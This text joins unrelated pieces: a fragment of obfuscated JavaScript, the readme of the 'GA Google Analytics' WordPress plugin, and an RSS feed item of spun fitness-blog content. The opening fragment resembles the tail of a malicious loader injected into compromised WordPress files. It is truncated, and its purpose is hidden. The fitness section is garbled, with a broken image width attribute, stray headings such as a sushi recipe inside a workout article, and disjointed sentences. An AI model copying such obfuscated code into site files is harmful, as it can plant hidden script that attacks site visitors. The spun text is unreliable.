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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>The 10 Best Workout Apps Of 2026: Fitness Apps Trainers Actually Use &#8211; pspwptest</title>
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		<title>How to create an exercise routine you&#8217;ll actually stick to</title>
		<link>https://psp-wp-test.objectsdev.com/how-to-create-an-exercise-routine-you-ll-actually/</link>
					<comments>https://psp-wp-test.objectsdev.com/how-to-create-an-exercise-routine-you-ll-actually/#respond</comments>
		
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		<pubDate>Wed, 08 Apr 2026 10:58:34 +0000</pubDate>
				<category><![CDATA[The 10 Best Workout Apps Of 2026: Fitness Apps Trainers Actually Use]]></category>
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					<description><![CDATA[This 20-minute, full-body strength workout features a variety of no-repeat, low-impact exercises designed to build strength, improve endurance and enhance functional movement. Ideal for beginners or anyone short on time, it targets the upper-body, lower-body and core using dumbbells. This workout is perfect for boosting total-body strength, mobility and energy right from home. In other [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>This 20-minute, full-body strength workout features a variety of no-repeat, low-impact exercises designed to build strength, improve endurance and enhance functional movement. Ideal for beginners or anyone short on time, it targets the upper-body, lower-body and core using dumbbells. This workout is perfect for boosting total-body strength, mobility and energy right from home. In other words, put them in your calendar and don&#8217;t make excuses to skip them. Every Sunday, map out your exercise plan for the upcoming week.</p>
<p>No matter your age or fitness level, these simple exercises to do at home can help you stay active and feel stronger each day. Try adding a few to your routine and adjust as you go — your body will thank you. Before starting any of the routines below, make sure to learn and focus on proper form. You should be constantly increasing your repetitions and weight to challenge your muscles to strengthen and grow. Lower body workouts target the muscles and joints in your lower body, which includes the lower back, hips, glutes, quads, and calves.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="daily home workout routine" src="https://i.pinimg.com/736x/28/46/fe/2846fe2f598148037f243c0724c1c76f.jpg"/></p>
<h2>Bodyweight Exercises to Mix Up Your Workout Routine</h2>
<p>Incorporate this workout routine at home, training for at least three days a week, and ideally, an hour a day. Stay dedicated and you will start to see results from these home workouts for men. A good starting point is 2-3 sets of 8-12 reps for most strength exercises. This range builds both muscle and endurance while helping you master proper form. Once you feel comfortable and stronger, you can increase the weight or add another set to continue progressing.</p>
<h3>Warm up and cool down</h3>
<p>You don’t need a gym or a long routine — even a few minutes can make a difference. The Centers for Disease Control and Prevention recommends at least 30 minutes of movement 5 days a week, but it doesn&#8217;t have to be all at once. If you’re a busy parent or work several jobs, it’s okay to spread that time out. There&#8217;s no equipment required for the 30-minute workouts, and they incorporate both cardio and strength training. There are four weeks of workouts listed out in the 28-Day Jumpstart, and each exercise has an illustrated explanation of how to do it with proper form. Looking for a free at-home workout plan you can actually stick with?</p>
<h3>Minute HIIT Workout Routine for Women (Pyramid)</h3>
<p>Do each exercise, and move onto the next without a break. After completing the round, rest for 30 seconds and repeat. The Physical Activity Guidelines recommend 150 minutes of moderate activity per week. This could look like five 30-minute sessions spread throughout the week. If you’re new to jump squats, start with two sets of five repetitions. Gradually, you can work your way up to more sets of repetitions.</p>
<h2>Day 29: 10-Minute Beginner Dumbbell Workout AND 10-Minute Standing Cardio</h2>
<p>The routine works all of your major muscle groups and will get your heart rate soaring. What we love about the 7 minute workout, is that it’s quick and you can do it anywhere – your home, office or hotel room. How many burpees you are able to do will depend on your fitness level. If you’re completely new to burpees, try starting with just one, and working up from there. When you feel you can, try to do three sets of 10 at a moderate pace. This 4-day intermediate program adds additional sets and reps, as well as more complex exercises, to jump-start new muscle growth.</p>
<h3>About the Time Flow System</h3>
<p>When you’re starting to work out, you might only be able to do 10 reps of shoulder presses with 2 kg dumbbells. My fitness goals are to tone and strengthen my entire body, so my routine combines upper and lower body exercises, core exercises, and yoga. To strengthen my upper body, I do a series of different arm moves with dumbbells that work the shoulders, biceps, core, and triceps in just 10 minutes. Each move is done for 30 to 90 seconds, so I use the timer app on my phone to keep track.</p>
<h2>Embrace bodyweight exercises.</h2>
<p>There are a bunch of legitimate excuses for choosing not to join a gym &#8212; time, expensive memberships and judgmental gym-goers. Starting up a workout routine in your own home addresses all of these problems, and it&#8217;s much easier than you may think. This time of year, every gym will be vying for your money, eager to lock you into a subscription that often comes with a high initiation fee. But before you sign that contract, you&#8217;re better off developing exercise as a habit that&#8217;s part of your daily or weekly routine, and a great place to start is at home. Simply evaluate how much time you have and use every minute of it to improve your health!</p>
<ul>
<li>The workouts require some equipment, such as dumbbells, a medicine ball, flat benches, and a jump rope (although there are substitutions available if there&#8217;s something you don&#8217;t have).</li>
<li>The ideal number of training days per week varies by individual.</li>
<li>As many gyms and studios remain closed, a solid at-home workout regimen can bring some normalcy and relief to your daily schedule.</li>
<li>The Physical Activity Guidelines recommend 150 minutes of moderate activity per week.</li>
<li>On a weekly basis, set a small, manageable target that relates back to your &#8220;why&#8221; by using the SMART (specific, measurable, attainable, relevant, and time-bound) acronym.</li>
<li>Check your form by recording yourself or using a full-length mirror.</li>
</ul>
<p>Instead of viewing these days as a burden or waste, try to reframe your perspective and remember the overarching goal. By doing this, you can start shifting your workout regimen from a task you “have to” get done to a practice you “want” to work on. As a bonus, bodyweight exercises can be done just about anywhere, leaving you more flexibility if you do not have the space for equipment at home. A long-term investment can help ensure long-term results!</p>
<h3>Week Strength + Running Workout Plan (Strength Training for Runners)</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="daily home workout routine" src="https://i.pinimg.com/236x/19/fb/be/19fbbe5cb32257b56eb80df404346e54.jpg"/></p>
<p>Download the app for free to join your new personal trainers, Coach Kozak and Claudia, through motivational full-length <a href="https://madmusclescommunity.com/">https://madmusclescommunity.com/</a> home workout routines. It sounds crazy to say, but over the past 13 years we’ve delivered over 1 Billion Home Workouts! We pride ourselves on meeting you where you&#8217;re at, modest presentation that&#8217;s always G-rated, and fitness programs that get results.</p>
<h2>Salmon Sushi Bake Recipe // Easy Entertaining Meals</h2>
<p>The bent-over row works all the major muscles of the upper back as well as the biceps. Begin the exercise in a bent-over position with your back flat, one knee and one hand on the same side of the body braced on a bench. Lift the weight toward the hip until the upper arm is just beyond horizontal, see right. Katie Dunlop&#8217;s Hot Body Sweat Guide is a step beyond her Love Sweat Fitness platform (where people can find free workout resources and build community, on the website or on Instagram). This eight-week program is filled with straightforward and fun workouts that focus on cardio and strength (specifically, your arms, legs, abs, and butt). There&#8217;s no equipment required, and it also comes with a nutrition guide.</p>
<h3>Bodyweight Workout Details</h3>
<p>Or if your muscles are really sore, pamper yourself with a massage. There’s absolutely no point in doing 20 push-ups if you’re doing it the wrong way. Yep, you definitely don’t need a fancy gym membership to get your sweat on. Working out at home can be fun, effective, and affordable.</p>
<p>That mark on your calendar also serves as preparation for your mind and body, encouraging you to show up for your workout with a can-do attitude and mind-set. This is a great example of how to set effective goals for yourself and begin implementing the tools to stick to them. Shoulder presses strengthen your shoulders, upper back, and core.</p>
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